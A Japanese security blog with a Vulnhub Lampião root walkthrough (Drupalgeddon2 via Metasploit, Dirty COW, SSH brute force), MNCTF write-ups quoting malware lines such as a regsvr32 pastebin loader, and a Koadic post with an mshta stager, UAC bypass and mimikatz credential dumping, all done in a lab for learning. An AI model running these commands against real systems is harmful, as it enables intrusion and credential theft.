うさブロ

ぼっちなうさぎのセキュリティラボ

とある親父の侵入実験【Vulnhub Walkthrough - Lampião: 1】

f:id:appleseedj073:20180311215026p:plain

最近、VulnhubというVMのイメージを公開しているサイトを活用してぺネトレーションテストのお勉強。

今回は「Lampião: 1」をやってみる。説明からは「脆弱性のあるマシンを作ったからrootを取ってね」という事なんでroot取るのを目標にがんばる。レベルはイージーらしい。

Would you like to keep hacking in your own lab?

Try this brand new vulnerable machine! "Lampião 1".

Get root!

Level: Easy

 

まずはイメージを落としてきて起動。

f:id:appleseedj073:20181014151624p:plain

当然ここからログインなんてしませんw

なので、自分のKaliで対象のサーバーにログインを試みますよ・・・。ってこいつのIPアドレス何??

相手のIPもわからなければ、自分にどんなIPが振られているかもわからないのでそこらへんから確認する。

root@kali:~# netdiscover -r 192.168.100.0/24

f:id:appleseedj073:20181014192936p:plain

このnetdicoverコマンドで、指定したセグメント内のホストを探している。そしたら、192.168.100.128というホストが見つかった。これがターゲット。

ターゲットのIPが、わかったら調査開始。まずはポートスキャンから

root@kali:~# nmap 192.168.100.128 -p- -A -n

f:id:appleseedj073:20181014200331p:plain

f:id:appleseedj073:20181014200345p:plain

判明したことは・・・

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)

80/tcp open http?

1898/tcp open http Apache httpd 2.4.7 *1
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Lampião

こんな感じにポートが解放されている。

sshは、ユーザ名とパスワードがわからないままでは使えないので後にする。

httpが、空いているようなのでアクセスしてみる。

f:id:appleseedj073:20181014200815p:plain

これといって収穫なし。

次に、1898番にアクセスしてみる。多分こっちが本命。DrupalとかApacheが動いている様子。

f:id:appleseedj073:20181014201447p:plain

色々と情報を持っていそうなサイトが表示された。多分ここから切り崩していくんだと思う。

 

余談だが、このサイトに書かれていたのは、タイトルにもなってるLampião(ランピオン)についての内容だった。このランピオンとは、19世紀末からブラジル北東部で活躍した義賊「カンガセイロ」で活動していた人物の名前。

 

次にサイトの構成情報を取る。

root@kali:~# dirb http://192.168.100.128:1898/

f:id:appleseedj073:20181014203044p:plain

robots.txtがあったのでアクセスすると

f:id:appleseedj073:20181014203702p:plain

CHANGELOG.txtを発見。

f:id:appleseedj073:20181014203714p:plain

中を確認したらDrupalバージョンが判明した。

 

Drupal 7.54に脆弱性がないかググってみると・・・あった!!

www.exploit-db.com

metasploitでも使えるのかsearchsploitで調べてみる。

root@kali:~# searchsploit Drupalgeddon2

f:id:appleseedj073:20181014204314p:plain

いけそうw

Metasploitを起動して、Drupalgeddon2を探してみる。

msf > search Drupalgeddon2

f:id:appleseedj073:20181014211132p:plain

msf > use exploit/unix/webapp/drupal_drupalgeddon2
msf exploit(unix/webapp/drupal_drupalgeddon2) >

オプションを確認して必要事項を入力してexploitする。

msf exploit(unix/webapp/drupal_drupalgeddon2) > set RHOST 192.168.100.128
RHOST => 192.168.100.128
msf exploit(unix/webapp/drupal_drupalgeddon2) > set RPORT 1898
RPORT => 1898
msf exploit(unix/webapp/drupal_drupalgeddon2) > exploit

[*] Started reverse TCP handler on 192.168.100.133:4444
[*] Drupal 7 targeted at http://192.168.100.128:1898/
[+] Drupal appears unpatched in CHANGELOG.txt
[*] Sending stage (37775 bytes) to 192.168.100.128
[*] Meterpreter session 1 opened (192.168.100.133:4444 -> 192.168.100.128:39994) at 2018-10-14 21:06:22 +0900

meterpreter >

侵入成功

metarpreterのコマンドで調査

meterpreter > sysinfo
Computer : lampiao
OS : Linux lampiao 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686

Linuxカーネルが判明した。

他に取れそうな情報もなさそうなのでshellで中に入ってみる。

meterpreter > shell
Process 7565 created.
Channel 0 created.
whoami
www-data
pwd
/var/www/html

ユーザは「www-data」で/var/www/htmlにいるのがわかった。

su
su: must be run from a terminal

suコマンドをしてみたらターミナルからじゃないので怒られたので、とりあえずpty作って再度挑戦

python -c 'import pty;pty.spawn("/bin/sh");'

$ su
su
Password:

パスワード求めらるようになったけど、知らないから無理w

なんとかして権限昇格したいから脆弱性がないか内部を調査する。

まずはツールの準備としてこの二つを準備

github.com

github.com

準備できたら、ターゲット側からダウンロードできる様にサーバーを立ち上げて待ち受けるなどしておく。ターゲット側に調査用のツールを送り込んだらそれぞれ実行する。

linux-exploit-suggesterの結果からdirtycowが使えそうなことが判明。

f:id:appleseedj073:20181014220949p:plain

またLinEnumの結果からg++も使えそうなのでコンパイルに関しても問題はなさそう。

f:id:appleseedj073:20181014221115p:plain

と、いうことでdirtycowのコードを送り込んでコンパイルして実行

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

f:id:appleseedj073:20181014221826p:plain

rootのパスワードが書き換わったので権限昇格可能になった。

一度セッションが切れてターミナル落ちたから再度開いてsu -でrootへ。

f:id:appleseedj073:20181014222223p:plain

rootのディレクトリ内を確認したらflag.txt発見

f:id:appleseedj073:20181014222829p:plain

flag.txt : 9740616875908d91ddcdaa8aea3af366

root権限も取れて、フラグも見つけたので終了

ちなみにこのフラグのハッシュ値が気になって調べてみると/var/www/html/lampiao.jpgのハッシュ値だった。

f:id:appleseedj073:20181014223503p:plain

この画像を開いてみると・・・

f:id:appleseedj073:20181014223718p:plain

ランピオン(Lampião)ことビルグリーノ・フェレイラ・ダ・シルバが、こちらに銃を向けてる画像でした。

 

 

 

さて、root取ってフラグ見つけたけど自分の中では、サーバへの侵入方法が「metasploitを使った」というのが少し納得がいかない。もう少し綺麗に侵入できないのか調べてみると別ルートでの侵入方法があったので、そこの部分だけ抜き出して解説。

 

Lampiãoのサイトをよく見てみると、投稿者が二人いることが確認できる。

 

f:id:appleseedj073:20181014225805p:plain

f:id:appleseedj073:20181014225816p:plain

tiagoとederの二人がこのサイトに関係しているユーザのようだ。そこで、この二人の名前のユーザリストを作成する。

echo tiago > userlist
echo eder >> userlist

次にパスワードリストをこのLampiãoのサイトで使用されている単語をもとにパスワードリストを作成。(ちょっと時間空いたからIPアドレスが変わってるけどターゲットには変わりは無し)

cewl -w wordlist http://192.168.136.212:1898/?q=node/1

f:id:appleseedj073:20181014234720p:plain

このuserlistとwordlistを使ってhydraでブルートフォースする

hydra -L userlist -P wordlist ssh://192.168.136.212

f:id:appleseedj073:20181014234734p:plain

tiagoのパスワードがVirgulinoと判明した。この情報をもとにsshで接続する。

f:id:appleseedj073:20181014235006p:plain

見事にログイン成功!metasploitを使用する事なく与えられた情報を活用して侵入できた。

 

まとめ

脆弱性を活用できるか調べるためにも、ターゲットのサービスやOSのバージョンを知ることがとても重要。管理者権限を持っていなくてもかなりの情報を集めることは可能。すぐにmetasploitを起動するのではなく先ずは調査(自分への戒めw)

 

MNCTF2018 writeup

f:id:appleseedj073:20180712201142j:image

久しぶりのCTFに参加してきました。もう毎年恒例の行事になりつつあるMACNICAさんのMNCTF!

今年は、昨年までと違って気が楽!だって、変に勝ちを意識しなくて良いからw (まぁ、意識していても勝っていた訳じゃないですけどねw)今日は、問題を解く事を楽しんで、夜の懇親会で美味しいお酒を飲む!そんな気持ちで参加しました。(そのせいで、あとで痛い目を見ることになるけど…。)

戦績は振るわなかったけど、今はとっても清々しい(きよきよしい)気持ちです!

 

今回は、過去の設問とは雰囲気が変わって、本当にインシデントに対応している様な短編ストーリー仕立てで面白かった!やっぱり、他のCTFに比べると実務よりで面白いと思います。あと、今年は全体的にマルウェアの解析を解析するところから導入していく問題が多かったと思います。これは、実際の現場でメール等で着弾したり感染してしまってからインシデントレスポンスに当たることからなのかな?と勝手な解釈しつた問題を解いてました。

 

今回の問題は… 

f:id:appleseedj073:20180712235323p:plain

 

練習問題

いつも通りの点呼問題

 

新人奮闘Ⅰ

マルウェアのSHA-256を答える問題

shasum -a 256 AD_OptimizationTool.exe f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29 

 

新人奮闘Ⅱ

マルウェアの解析レポートを作っていく問題。指定されたサイトで穴埋め。

f:id:appleseedj073:20180712212921p:plain

入力する項目は

 

Windowsマシンをしっかりと仕上げて来なかったことがここにきて災いしてツールがないことに苦戦w

仕方ないから検体をそのままVirusTotalへ投げてみた!そしたら既に誰かが投げてした様子w そこから必要な情報を入手できた。

f:id:appleseedj073:20180712213822p:plain

f:id:appleseedj073:20180712213847p:plain

f:id:appleseedj073:20180712213900p:plain

 

新人奮闘Ⅲ

次は、このマルウェアを実行した時に実行されるコマンドを答える問題。これは何も考えないでstringsコマンドに投げたらコマンドが見えた。

net user /add /domain vpnadmin P@ssw0rD1!

 

新人奮闘Ⅳ

次の問題はフォレンジックということで、マルウェアVPNに接続しているらしいのでログを調査して接続した時間を答えるというもの。

ちなみに前の問題で、net userコマンドを使ってvpnadminというユーザーを作成しているのがわかっているので、指定されているログファイルからvpnadminを検索してみる。

f:id:appleseedj073:20180712215227p:plain

 

新人奮闘Ⅴ

先ほどのログから判明したIPアドレスから攻撃元の国を答える問題。

深読みしすぎて「IPアドレス ロケーション」で検索して出てきたサイト

www.iputilities.net

ここにIPアドレス「27.117.128.1」を入力したら

f:id:appleseedj073:20180712215752p:plain

ということで、大韓民国(なんでか正式名称w)と入力

新人奮闘シリーズはこれにて終了。マルウェアの解析から攻撃元の特定までと面白いシナリオだと思った。

 

大量不正

大量のマルウェアの中から類似性のあるもの見つけて答える問題。指定されたファイルをダウンロードして解凍すると中には100個のファイルが・・・。とりあえず、ハッシュ値を求めてソートしたけど一致するものなんてない。多分、ファジーハッシュを出して比較するpythonを書かないとダメなんだろうなぁ(毎回MNCTFではpythonを即興で組み上げる問題があるから)と、いうことでこれは無理と判断してスルー。しかし、午後の解説を聞くとssdeepコマンドで簡単に出せるらしいw

でも、macだとインストールしないとダメだから準備不足の自分は結局解けなかった事は揺るがないwww

とりあえずインストールして検証してみると・・・

ssdeep -bcdr *

"sample68.bin","sample1.bin",99

内容的には「sample68.bin」と「sample1.bin」が99%の類似性があるという事らしい。

 

種類特定

やっと出てきたネットワーク問題。pcapファイルを解析してマルウェアの名前を答える問題。MNCTFでpcapファイル問題が出た時は、とりあえずwebに投げる!という独自理論のもとPaketTotalにファイルを投げるw

すると・・・

f:id:appleseedj073:20180712221541p:plain

ここで問題がw

マルウェアの名前を「Ursnif」と何度解答しても不正解(T ^ T)

結構な時間をロスしてしまい諦めて午後の解説を待つことに。そしたら午後の解説で驚愕の新事実が!!解答がスペルミスしていたようでしたw でも、この「Ursnif」には別名が「GOZI」らしく正解していた人はそっちを答えてみた様子。別名を調べられなかった自分のミス。

 

標的攻撃Ⅰ

今度は標的攻撃シリーズw フィッシングメールに添付されたエクセルファイルを解析する問題。このファイルは、サンドボックスでは解析できなくて特定のユーザでのみ起動する仕掛けがあるという。そこで、その標的となったユーザを調べる。

ここで大問題!私の解析用WindowsにはOfficeが入っていないwww

エクセルはせいぜいログファイルとかでしか使われないし、macにNumber入ってるし何とかなると思っていたらExcelのmacroっぽい。とりあえずテンパりながOpenOfficeをダウンロードしてインストール。何とか開くと

f:id:appleseedj073:20180712222830p:plain

このマクロは、エクセルの使用者名とエクセルの表中のC列の値を比較して名前が値に含まれているならマクロの実行が行われるようだった。エクセルの表からC列を確認してみると当初C列は非表示になっていた。これを表示させて値を確認すると以下の名前が出てきた。この名前のどれかを答える。

  • Yasu Kobayashi
  • Take Teshigawara
  • Soichi Yamamoto
  • Tada Okuno
  • Yoshi Hatakeyama
  • Sho Shinogi

ちなみに何も考えずに「勅使河原」とか「Teshigawara」と入力したのは内緒ですw

 

標的攻撃Ⅱ

次は攻撃が発動した際に発生するHTTPSの通信のURLを答える問題。これは、先ほどのマクロの中に書かれていたのでそれを答える。

https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert

 

標的攻撃Ⅲ

通信を終えると、別のファイルが生成され、そこから2次ファイルが生成されるので、そのファイルのSHA256を答える。何度か、マクロを書き換えて実行させようとするも慣れないOpenOfficeもありうまく動作せず時間ばかり食い断念。

マクロを動かせないので、マクロと同じように動作させるようにしてみる。

マクロはURLからファイルをGETしてcert.pemとして保存。certutilコマンドでcert.pemをデコードしてcert.exeとして保存しているので、まずはcurl コマンドでgetしてファイル名「cert.pem」にして保存。

curl -X GET https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert > cert.pem

このファイルをWindowsに移動させて

certutil -decode cert.pem cert.exe

これでマクロと同じものが出来上がってあとはSHA256を計算すればOK

shasum -a 256 cert.exe c4f069d079330cd46e51f9469c27015ed34c6371481df83a323bc098f3b53382

午後の解説前に試してみたらこの値が出た。競技中は何かが違っていたみたいでこの値じゃなかったw

 

標的攻撃Ⅳ

前の設問でできた2次ファイルを実行すると発生するHTTPSの通信先のURLを解答する。これも、解説前に出来上がったファイルを実行したらそれっぽいのがすぐに見つかった。

f:id:appleseedj073:20180712230034p:plain

https://shinobotps1.com/download_get.php

 

穴埋防御

不審なファイルを解析し、Yaraルールを完成させる問題。競技中は「Yaraルール」の文字が見えたので敬遠したw

解説を聞いたので試してみる。まずYaraルールを確認してみると

f:id:appleseedj073:20180712230629p:plain

必要な情報はMutexらしい。次に不審なファイルを確認すると何やら難読化されてる感じ。これはBase64エンコードされているのでこれをデコードする。この時に活用できると紹介されたのが「CyberChef」というサイト。このサイトは、いろんな形へのエンコードやデコードが出来る優れもの。

gchq.github.io

このサイトで難読化されているデータをデコードする。

デコードするとpowershellスクリプトが現れる。そしてこのスクリプトの中にもまたbase64エンコードして、XORもしているデータが見つけられる。

f:id:appleseedj073:20180712231750p:plain

まず、このbase64エンコードされている部分を切り取りCyberChefに貼り付けてデコード

f:id:appleseedj073:20180712231949p:plain

これをXORすると

f:id:appleseedj073:20180712232058p:plain

MZで始まるようになったのでこれをexeファイルとして保存して解析する。

IDAで開き確認すると

f:id:appleseedj073:20180712233036p:plain

Mutexは「1q2w3e4r0o9i8u7y6t」になる。これは、完全に検討つかなかったので勉強になった。

 

盗聴情報

最後の問題は、「XOR(シングルバイトキー)→ Base64 → ROT13」というアルゴリズムで暗号化されたファイルを復号して答える問題。アルゴリズムがわかっているので逆順でやればいいんだろうと予想し、多分pythonで組むのかな?と思った時点で諦めていたwww

実はこれもCyberChefで解けると聞いて驚いた。

ファイルをCyberChefにアップロードして、ROT13、Base64と復号してXORはシングルバイトキーということなのでBrute Forceを使うという。

f:id:appleseedj073:20180712233905p:plain

そうするとキーが15の時に「PNG」という文字とpngファイルに含まれる「IHDR」という文字が。ということで15でXORして拡張子をpngにして保存する。

f:id:appleseedj073:20180712234243p:plain

 

まとめ

今回のMNCTFは、冒頭で述べたとおり今までと違いシナリオ構成になっていて解いていくのが楽しかった。何よりもワクワクした。競技での成績は悪かったけど今回は過去最高の満足度でした。

そして、CyberChefというサイトの便利さが半端ないということを学べて良かった。

f:id:appleseedj073:20180712235027p:plain

作戦は奇を以って良しとすべし MNCTF2017 WriteUp

f:id:appleseedj073:20170714234724j:plain

作戦は奇を以って良しとすべし

凡そ戦いは、正を以て合い、奇を以て勝つ。故に善く奇を出だす者は、窮まり無きこと天地の如く、竭きざること江河の如し。終わりて復た始まるは、四時是れこれなり。死して更生ずるは日月これなり。

さてMNCTFの時期がやってきましたよ。2015年の第一回から参加して今回で三回目!

そろそろ上位に食い込みたい!w

 

だから今年は、一丁前にMNCTFの対策?を練ってみました。

  1. 使用するツール類は、他のCTFと違って無料のツールでなんとかなる!
  2. 多分、今年もクロスワードが出る。
  3. 去年よりテクニカル系の問題が増えるかもしれない。個人的な感覚として2015年がツールを駆使する系、2016年はブラウザーだけでもなんとか頑張れる系と思いましたw(勝手な憶測ですが、2015年が難しかったから、2016年は簡単にしたのかな?とも考えてました)
  4. キーワードは「てしがわら君」!
  5. 問題傾向は、実際のインシデントに則った内容になる。
  6. 過去のWriteUpで紹介されたツールはインストールし、紹介されたWebサイトはブックマークする。

と、妄想作戦会議を経て今年も参加してきました、Macnica Networks DAY 2017!
そしてMNCTF2017に!

f:id:appleseedj073:20170708081634p:plain

 

今年は、CTFの後になっと解説してくれるという至れり尽くせり感あるプログラムw

f:id:appleseedj073:20170708081957p:plain

だから、WriteUpとか書いちゃうと権利関係でやばいかな?って思っていましたよ。でも、そんなことはなかったようなので、毎年恒例になった「覚え書き」と「反省」を兼ねた無駄な手順満載のWriteUpを書いておこうと思います。説明聞いたけどわからない部分もあったので実際に解けた問題と、あと少しだった問題のみをまとめます。

 

今年の問題は以下のようなラインナップ

f:id:appleseedj073:20170708082533p:plain

 

1.練習問題

f:id:appleseedj073:20180707221703p:plain

 安定の点呼

 

2.昇進試験

 予想通りのクロスワード

f:id:appleseedj073:20180707221725p:plain

今回は、Linuxのコマンド!

f:id:appleseedj073:20180707222321p:plain

結構、知らないコマンドあった。

 

3.通信記録

予想通りのネットワーク問題。

「パケットキャプチャを解析し、突かれた脆弱性の名前を答えてください。」

本番では一生懸命、pcapファイルをwiresharkで展開して眺めて答えを見つけたけど実は、お馴染みのVirustotalに投げると・・・

f:id:appleseedj073:20180707223317p:plain

ここに問題のpcapを投げてスキャンすると

f:id:appleseedj073:20180707223543p:plain

WannaCryの通信だと検出してくれる。なんて便利なんだ!w

で、求められているのは突かれた脆弱性の名前なんで、WannaCryで使用された脆弱性といえば「EternalBlue」ということになる。

 

4.不審起動

 不審なレジストリが見つかり、不審なスクリプトが実行された。そのスクリプトの通信先のFQDNを答えるのが問題。

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
"COM"="regsvr32 /s /n /u /i:https://pastebin.com/raw/8CUEUgix scrobj.dll"

とりあえず、レジストリの中にある「https://pastebin.com/raw/8CUEUgix」にアクセスしてみる。すると、やたら難読化されたJScriptが出てくる(なんか作問者の好みが垣間見えるw)ので、まずは難読化を解く。するとurlとかいう記述がある。

f:id:appleseedj073:20180707225448p:plain

この中のurlの部分をさらに変換

f:id:appleseedj073:20180707231206p:plain

すると「https://mtip.macnica.net」が出てくる。

 

5.脅迫文書

脅迫文のようなメールが来たという設定。そして、写真にアドレスが記載されたメモが。

f:id:appleseedj073:20180707231648p:plain

「.onion」というのが見えるので、Tor Browserでアクセスしてみる。

f:id:appleseedj073:20180707232051p:plain

パスワードを入力しろ的なサイトに接続される。ここで、メモに書いてあるパスワード「0b3y!!」を入力すると

f:id:appleseedj073:20180707232200p:plain

答えが表示される。

 

6.攻撃痕跡

フォレンジックスの問題。ログファイルと攻撃者が残したファイルがある。

攻撃者の残したファイルのなかにあからさまに怪しいファイル達がある。この中に「sqlite.ex_」があってどうみても怪しかったのでログファイルの中で検索してみる。

 

06/27/2017 21:11:57.763,13Kamakura,LOCAL SYSTEM,45632,53651,"""C:€Program Files (x86)€\Tencent€\RTXC€Plugins€bizmailclient€sqlite.exe"" a -m5 -hpFnckyou123 ""C:€Program Files (x86)€\Java\€jre7€\bin\€client\€jvm.dat"" c:\users\Administrator\Desktop\*.xlsx",8babc98395f0d8fc0968982237b1bc8f

1行ヒットする。このログを読んでみるとsqlite.exeを使ってエクセルファイルをjvm.datにしてるような感じに見える。

このjvm.datを調べてみると

f:id:appleseedj073:20180708003146p:plain

rarファイルらしい。拡張子をrarに変えて開こうとするとパスワードを求めてくる。

f:id:appleseedj073:20180708003327p:plain

パスワードなんて?と思ったらコマンドの中にそれっぽいのがあったの(「Fnckyou123」)で入力する。

f:id:appleseedj073:20180708003646p:plain

中に4つファイルがあり、問題は「盗まれたファイルの中で最も重要と思われるファイルの名前(拡張子なし)を答えてください。」なので「serverpassword」を答える。

 

7.賭博遊戯

これは、解けなかった。

Chromeデベロッパーツールを使ってを値を上手く改ざんして解くらしい。前回にも似たような問題があったのにできなかった。

 

8.宛先暗号

マルウェアの通信先FQDNを問われてる。与えられたものは、マルウェア本体と一緒にあったファイル、それにエンドポイントのログ。ヒントを元にログを検索してみる。

 

06/28/2017 12:38:32.910,TESHIGA-PC,tessy,svchost.exe,4128,svchost.exe abcd vm.dat,7cd491ed51b4e6da2ac468611f240621,2168

 

するとこんなログがあった。とりあえず現段階では、イマイチわからないので実際にこのマルウェアを動かしてみた。すると

f:id:appleseedj073:20180708005959p:plain

使い方的には svchost.exe rc4のカギ ファイル らしい。要するに「svchost.exe abcd vm.dat」これで外部と通信するようなのでやってみる。

wiresharkを起動しコマンドを指定通りに実行すると

f:id:appleseedj073:20180708011816p:plain

見事に通信発生!

その中に見慣れた通信先がw

f:id:appleseedj073:20180708011855p:plain

9.情報照合

解けなかった。APIを使ってハッシュを検索するようなんだが、説明を聞いてもイマイチ理解できなかった。解けた人は、その場でプログラムを書いていたようなことを聞いた。

 

10.脆弱会話

 これも解けなかった。バッファーオーバーフローを起こさせるexploitを完成させるらしい。

 

まとめ

今回もさんざん偉そうに作戦を練ったもののいつも通りの成績で終了。来年に繋げられるかな?って感じでした。でも、他のCTFに比べてもとても業務に直結してるスキルを問われるので毎回とても勉強になっている。来年もぜひ参加したい!

 

2018/07/08追記

このブログ、去年の今頃にまとめたようなんだけど何故かアップされずにいてビックリ。そろそろMNCTF2018だから自分で振り返ろうとしたら書いたはずのブログが見つからなくてかなり焦ったしw

とりあえずこのままお蔵入りするのも寂しいから少し手直してアップします。

とある親父の侵入実験【Koadicを使ってみた】

f:id:appleseedj073:20180311215026p:plain

4月の濱せっくで、Empireについて話させてもらった時に、Empireと同じ様なツールで「Koadic」というものがあることを聞いたので、Empireとの比較をしつつ試しに使ってみることにした。

 

 

ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。

 

 

1・環境

  • 攻撃PC(Kali Linux)192.168.136.202
  • やられPC(Windows)192.168.136.145

2・準備

Githubから、Koadicをダウンロードする。

github.com

README.mdの記載通りにインストールする。

 git clone https://github.com/zerosum0x0/koadic.git
 cd koadic
 pip install -r requirements.txt

f:id:appleseedj073:20180516111004p:plain

3・起動

Koadicを起動する。

 ./koadic

f:id:appleseedj073:20180516111329p:plain

tabの補完機能で、現在利用できるコマンドを確認する事ができる。

「info」コマンドで現在の設定状況を確認できる。

f:id:appleseedj073:20180516112134p:plain

 次にEmpireならリスナーモードに移行するところだが、Koadicでは既にリスナー状態?な様子。よって次のステップとしてStagerを作成して対象のPCに送りつけることになる。(Empireではusestagerコマンドを使用して作成していた。このKoadicでは、起動当初からusestagerコマンドを使用した状態である。)

先ほどのinfoコマンドの実行結果で判明している様に最低限必要なホストのIPアドレスとポート番号は指定済なのでこのまま「run」コマンドを実行する。

f:id:appleseedj073:20180516133529p:plain

 この最後に書かれた「mshta〜」の1行がKoadicに接続する為のコマンドとなる。

 mshta http://192.168.136.202:9999/iSZmj

このコマンドを対象PC上のコマンドプロンプト上で実行すると攻撃PC側に接続が行われる。

f:id:appleseedj073:20180516134015p:plain

ここで「Zombie」と表記されているのは、Empireのagentと同じ様にコントロール配下に置いたPCを指している。最初のzombieということでID 0が割り振られている。

f:id:appleseedj073:20180516134353p:plain

ここでzombieコマンドとIDを指定することで、対象PCの情報を表示できる。

 zombie 0

f:id:appleseedj073:20180516150752p:plain

4・展開

KoadicにもEmpireのmoduleと同じ様な機能がimplantとして存在する。その中にEmpireと同じ様に権限昇格を実行する機能があるのでそれを使用する。

  use implant/elevate/bypassuac_eventvwr

f:id:appleseedj073:20180516203846p:plain

infoコマンドで入力する必要のなる項目を確認できる。ここで、PAYLOADを設定する必要があるので、0を設定する。

 set PAYLOAD 0

入力したのちにrunコマンドで実行

f:id:appleseedj073:20180516212448p:plain

権限昇格が成功すると管理者権限での新しい接続が作成される。

zombiesコマンドを実行すると新しく作成された接続IDの横にEmpireと同じ様に「*」についているのが確認できる。

f:id:appleseedj073:20180516212831p:plain

このIDの詳細をzombiesコマンドで確認すると

f:id:appleseedj073:20180516214843p:plain

Elevatedの項目が、「Yes!」になっている。ちなみに権限昇格前のID 0は「No」となっている。

次に権限昇格を完了したので、対象PCのパスワード奪取を試みてみる。Empireでも使ったMimikazのimplantがあるので使用。

f:id:appleseedj073:20180516221200p:plain

 use implant/inject/mimikatz_dotnet2js

必要事項は既に入力されているのでこのまま実行。

f:id:appleseedj073:20180516221413p:plain

mimikazが実行されて、問題なくユーザ名とパスワードが奪取できた。

5・対応

このkoadicは対象PC側で、mshta.exeを実行しないといけない。よって攻撃者は、これを実現するために別の脆弱性を利用しコマンド実行を実現してくる事が考えられる。したがってこの攻撃を成功させない最も簡単な処置としては、利用しているシステムに対する脆弱性の対処が挙げられると思う。

また、トレンドマイクロさんのブログによると、「Koadic は JScript のコードを平文で送信するため、トラフィックを検出することが可能」と書かれている。

f:id:appleseedj073:20180516225858p:plain

実際に通信パケットをキャプチャーしてみると確かにJScriptのやりとりを確認できるので、言われている様に検出は可能。

f:id:appleseedj073:20180516230215p:plain

他のコマンドに関しても上図の様に平文でやりとりされている。

 

blog.trendmicro.co.jp

 

※mshta.exe:Windows標準搭載のプロセス。C:WindowsSystem32にあり、HTA (または HTMLS) タイプのファイルを開く役割を持っている。HTAとは、「HTML Application」の略で、Internet Explorer 5以降に利用可能な技術で、HTML言語などを利用して実行ファイルを作成する事が可能。最近だとワンクリックウェアなどに利用された。

6・まとめ

今回検証したkoadicは、昨年検証していたEmpireと同じくらいに攻撃への転用が進んでいる。(既に攻撃キャンペーンでの利用がある)

今後は攻撃者の立場で考え、この手法を活用したペネトレーションテストを確立していくことが、本攻撃キャンペーンへの対応につなげられるのではと個人的に推察する。

とある親父の侵入実験【Bad-PDFを防いでみる】

f:id:appleseedj073:20180311215026p:plain

結構、反響が良かったのと、ベンダーから公開されている対応策を検証していたらそれなりの量になってきたので、前回の記事への追記ではなくて新しく書き起こしてみた。

そもそものネタは前回のコレ

 

ra66itblog.hateblo.jp

 

この時に、ベンダーの対策について処置対策についてご指摘を受け、公開後に追記させてもらったのだが、その際の検証状況については載せていなかった。

1・環境

  • 攻撃PC(Kali Linux)192.168.55.128
  • やられPC(Windows 10 pro)192.168.55.131

2・準備

Microsoftが公開した「Windows NTLM SSO認証」対策は「最新のOS」を「最新の状態」にしていることを推奨しているというので、やられPCとして準備していたWindows7は利用できなくなった。そこでWindows10を準備しとりあえずアップデートして最新の状態にした。(マイクロソフトWindows 10 および Server 2016 でのみこの新しい動作をリリースし、この新しい動作の使用について古いオペレーティング システムを除外しています)

3・検証

前提条件:攻撃側のKali LinuxでBad-PDFを実行し悪意のあるPDFを作成しWindows側へ渡している状態で始める。

Microsoftで公開された対処は、レジストリの以下の場所に「EnterpriseAccountSSO」というDWORD32キーを追加する。

 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\MSV1_0

まずは、このキーを追加しない状態でPDFを開くと

f:id:appleseedj073:20180517220316p:plain

異常なくダダ漏れになる。

次にレジストリにキーを追加する。

f:id:appleseedj073:20180517221003p:plain

ここに入れる値は公式によると

  • 2 - 常に SSO を許可します(これが既定の状態です)。
  • 1 - リソースがパブリックの場合は SSO を拒否します。リソースがプライベートまたはエンタープライズの場合は許可します。リソースが指定されていない場合は、SSO を許可します。
  • 0 - リソースがパブリックの場合は SSO を拒否します。リソースがプライベートまたはエンタープライズの場合は許可します。リソースが指定されていない場合は、SSO を拒否します。

 

まずリソースがパブリックな場合や、指定されていない場合は拒否する「0」にすると

f:id:appleseedj073:20180517221430p:plain

これまでと違ってNTLMの情報が流れてこない。

次に値を「2」にすると、SSOを許可する通常の状態なので当然、ダダ漏れ

f:id:appleseedj073:20180517221414p:plain

Microsoftの推奨する「最新のOS」で「最新の状態」にして、「新しい動作(レジストリへの書き込み)」という処置をした状態ならば対策できることが検証できた。

 

次にせっかくなのでFoxitについても検証してみた。

ベンダーの発表では9.1のリリースで対応したというのでそれ以前のバージョンと9.1で比較してみた。

まずは8.0.2

f:id:appleseedj073:20180517225907p:plain

攻撃側に一切の反応がない・・・。当然レジストリのキーは削除している。不安になったからAdobe Readerで起動したら異常なく漏れてきた。でも、Foxit 8.0.2 反応なし。

次は、がっつりダウングレードして6.0.5

f:id:appleseedj073:20180517230105p:plain

やはり変化なし。

念のため、ベンダーから保証されている9.1

f:id:appleseedj073:20180517230423p:plain

当然動きはない。

自分の中では9.1以前のバージョンで開くと漏れ出てくれるものだと仮定して検証していたのでかなり肩透かしを食らった気分である。もしかすると、レジストリのキーは削除してあるが、Windowsを最新の状態にしているのが原因なのか?とも疑い始めてもう何が正しいのかわからなくなってしまった。結果としてFoxitに関しては、私の環境ではNTLMの情報を盗み出すことはできなかった。

4・まとめ

Foxitに関して正確な情報を見出せなかったが、とりあえずAdobeは公表通り対応はしていない。しかし、Windows側で対応している。しかし、Windows側の対応は、最新のものだけで古いバージョンに関しては対応しない。

 

とある親父の侵入実験【Bad-PDFを使ってみた】

f:id:appleseedj073:20180311215026p:plain

2018年のGW前半に「Bad-PDF」というツールが公開されていたので、どんなものか試しに使ってみた。事の発端は、4月29日のこのツイート

 最近公開された脆弱性を利用してNTLMハッシュを盗み出す悪意のあるPDFファイルを作れるようのことを言ってる。実際にどんなものか検証した。

 

 

ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。

 

 

1・環境

  • 攻撃PC(Kali Linux) 192.168.55.128
  • やられPC(Windows7) 192.168.55.130

2・準備

